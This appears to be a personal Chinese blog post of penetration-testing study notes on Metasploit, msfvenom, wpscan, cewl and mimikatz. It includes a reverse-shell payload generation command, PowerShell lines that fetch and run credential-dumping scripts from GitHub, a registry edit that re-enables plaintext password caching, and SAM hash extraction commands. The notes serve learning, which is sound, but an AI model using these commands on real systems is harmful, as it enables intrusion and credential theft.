0%

渗透测试工具整理

metaspolit

默认使用msfconsole进入这个交互式命令行工具,

然后主要是有几种模式

  1. 直接利用payload

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    # 搜索漏洞payload
    msf6 > search [key_word]
    # 选中payload
    msf6 > use [上一步搜出来的payload name]
    # 设置payload参数,key忽略大小写
    msf6 > set key value
    # 显示payload参数
    msf6 > options
    # 运行payload
    msf6 > run

    注意这个依旧是msfconsole模式就是交互式命令行模式

  2. 利用指定的payload监听

    1
    2
    3
    4
    5
    6
    msf6 > use exploit/multi/handler        # 加载模块
    msf6 > set [payload_name] # 设置名字
    msf6 > set [options_key] [options_value] # 设置该payload的options键值
    # 开始监听
    msf6 > run

上面两个如果run完成了之后执行shell命令就进入了meterperter即已经进入了系统内部shell环境,所以个人理解这个meterperter是准备持久化

  1. 使用msf生成后门

    这是另一个模块msfvenom的内容

    example:

    • 生成二进制文件

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.100.103 LPORT=4444 -f raw > beacon.bin

  • 生成其他类型只需要改-f的属性就行

wpscan

此工具主要用来扫描worldpress这个博客框架,这个应该更加靠近web渗透那一侧,就先放在这里做工具整理

world press scan

它使用R的包管理构建,或者使用docker,kali自带。

我的系统是ubuntu所以采用了前者构建,详见之前打这个靶场的时候记录

参数和用法很简单

1
2
3
4
5
#使用默认配置扫网站
wpscan --url [目标网站]
# 使用--stealthy可以静默扫描防止网站发现
--enumertate可以爆破用户名使用它的时候加上--plugins-detection检测插件选项,默认是不检查
-u 是枚举用户名

cewl

这是一个字典生成器-h可以看到所有的选项

记录下常用选项

1
2
3
4
5
6
7
8
9
10
#默认方法直接吧生成的字典
cewl url
# -w生成到指定文件
cewl url -w dict.txt
# 计算重复的单词次数
cewl url -c
# -d 爬取深度3层
cewl url -d 3
# -e获取email信息
# --with-numbers包括数字和字符

mimikatz

这个工具是我新接触的,记录一下使用的姿势

主要就是一个后渗透的工具,针对拿到了shell但是没有更高的权限时

针对windows系统

Mimikatz 是一款功能强大的轻量级调试神器,通过它你可以提升进程权限注入进程读取进程内存,当然他最大的亮点就是他可以直接从 lsass.exe 进程中获取当前登录系统用户名的密码, lsass是微软Windows系统的安全机制它主要用于本地安全和登陆策略,通常我们在登陆系统时输入密码之后,密码便会储存在 lsass内存中,经过其 wdigest 和 tspkg 两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中, 而 mimikatz 正是通过对lsass逆算获取到明文密码!也就是说只要你不重启电脑,就可以通过他获取到登陆密码,只限当前登陆系统!

注:但是在安装了KB2871997补丁或者系统版本大于windows server 2012时,系统的内存中就不再保存明文的密码,这样利用mimikatz就不能从内存中读出明文密码了。mimikatz的使用需要administrator用户执行,administrators中的其他用户都不行。

使用powershell获取密码

1
2
#读取密码明文(需要管理员权限)
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts
1
2
#读取密码hash值(需要管理员权限)
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes

本地执行

下载mimikatz程序,找到自己系统对应的位数,右键以管理员身份运行:

1
2
3
4
5
#提升权限
privilege::debug

#抓取密码
sekurlsa::logonpasswords

当目标为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,但可以通过修改注册表的方式抓取明文。

cmd修改注册表命令:

1
2
Copyreg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
#重启或用户重新登录后可以成功抓取

SAM表获取hash

1
2
3
4
5
6
#导出SAM数据
reg save HKLM\SYSTEM SYSTEM
reg save HKLM\SAM SAM

#使用mimikatz提取hash
lsadump::sam /sam:SAM /system:SYSTEM

还有和很多姿势,因为对windows很多安全机制不了解(比如域控中的成员hash,哈系传递攻击,票据传递攻击包括这个工具本身的免杀)先挖个坑,之后补全

参考

https://www.cnblogs.com/-mo-/p/11890232.html

https://www.freebuf.com/articles/network/190128.html